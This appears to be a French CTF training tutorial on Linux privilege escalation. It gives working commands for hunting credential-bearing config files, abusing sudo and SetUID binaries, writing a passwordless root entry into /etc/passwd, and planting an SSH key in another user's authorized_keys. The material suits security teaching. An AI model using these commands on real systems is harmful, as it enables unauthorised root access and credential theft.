Elevation de Privilege - Unix

Nous venons tout juste d'obtenir l'accès en shell à un serveur. Nous allons commencer par faire un inventaire exhaustif de ce qui est accessible au compte sur lequel nous pouvons executer des commandes.

  • Identifier l'OS, sa version, les patchs de sécurité manquants
  • Recenser les outils disponibles : netcat, python, perl..
  • Lire tous les fichiers de config, temporaires, backup pour trouver des login/password.
  • Utiliser les éventuels droits sudo du compte.
  • Trouver une commande avec SetUID bit.
  • Trouver un process qui tourne en tache de fond avec des droits root et modifier ses inputs.
  • Trouver un exploit kernel. Cette dernière option, radicale car elle peut planter la machine, est trés efficace sur les vieux serveurs...

Sur ses premières machines, il est préférable de faire ces énumérations en lançant les commandes manuellement pour s'approprier les options et les outputs. Une fois à l'aise, et sachant ce que l'on chercher, il est possible d'utiliser des scripts qui font ces énumérations pour nous.

Fichiers contenant des informations

Rechercher les fichiers .txt ou .cfg, appartanant aux autres comptes, avec des droits en lecture trop ouverts.

find /home -readable -type f  \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null

Le fichier de config d'une appli wordpress s'appelle:

wp-config.php

Pour le chercher:

find /var -name wp-config.php 2>/dev/null

Ce fichier contient les login/password pour se connecter à la base de donnée. Il est possible de dumper la base de donnée et récupérer les login et hashes des comptes wordpress.

Le fichier de config peut porter deux noms:

httpd.conf
apache2.conf

On le trouve généralement dans un des répertoires:

/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf

Le fichier de config porte le nom:

server.xml

Les mots de passe des utilisateurs se trouvent dans:

tomcat-users.xml

On trouve généralement ces fichiers dans un des répertoires:

TOMCAT-HOME/conf/
/usr/local/tomcat/conf/

Sudo

Sudo permet de lancer des commandes en tant qu'un autre utilisateur.

Pour connaitre les droits sudo de votre compte, il faut lancer la commande sudo -l et saisir votre mot de passe:

sudo -l
L'utilisateur user1 peut utiliser les commandes suivantes sur target-host :
    (ALL) NOPASSWD: /usr/bin/find
    user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py

Il est alors possible de lancer des commandes en tant que user2 avec le flag -u user2

sudo /usr/bin/find  
sudo -u user2 /usr/bin/python3  /home/user2/run.py 

Vous pouvez lancer find avec les droits d'un compte root, et run.py avec les droits du compte user2.

Si l'option NOPASSWD n'est pas définie, la commande sudo demande le mot de passe du compte courant. Si vous être entré par un webshell, ou une connection ssh avec clef privée, il faudra se débrouiller pour connaitre le mot de passe.

SetUID bit

Identifier les process possédant un setUID bit

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

Que faire avec un binaire possédant un setUID bit ?

- Lancer un shell
- Lire un flag
- Copier un fichier
- Ajouter une ligne à un fichier : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys
- ...

De nombreux process permettent de lancer un shell. Idéal s'ils sont en sudo ou avec un setUID bit.

- find
- nmap
- vi
- less
- awk
- tee
...

Reference: https://gtfobins.github.io/

Vous disposez des droits pour modifier /etc/passwd. Par exemple tee avec un sudo en root. Ajoutez une entrée avec un UID de 0, et un mot de passe vide.

echo myroot::0:0:::/bin/bash | sudo tee -a /etc/passwd 
su myroot 

Si une commande avec les droits root permet d'ajouter une ligne: ex: tee

echo 'ssh-rsa AAAAB3[...]CHN2CpQ== yolo@yolospacehacker.com' | sudo tee -a /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget

Exploitation de process

ps

Identifier les process lancés par root

ps eaxf

Une fois un process identifé, regarder s'il est possible de modifier les fichiers lus par le process, ou si le process a des vulnérabilités connues.

Identifier les taches lancées par cron.

cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers

With the ps command, you may miss a small process, launched every 2 minutes, which will process a batch file in 5 seconds before disappearing. The pspy tool monitors the processes for you.

https://github.com/DominicBreuker/pspy

Kernel exploit

Linux Distib version:

cat /etc/issue
Ubuntu 18.04.3 LTS 

Linux kernel version: 5.0.0-37-generic

uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Once the kernel version is known, it is possible to search for a kernel exploit
https://github.com/SecWiki/linux-kernel-exploits
Never run an unknown binary !
Get the sources, read them, understand what they do, compile yourself, and only then run them... Knowing that there is a high risk of crashing the server.

Enumeration scripts

Some well known script automate the enumeration process.
Test them and find the one that suits you best.

linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration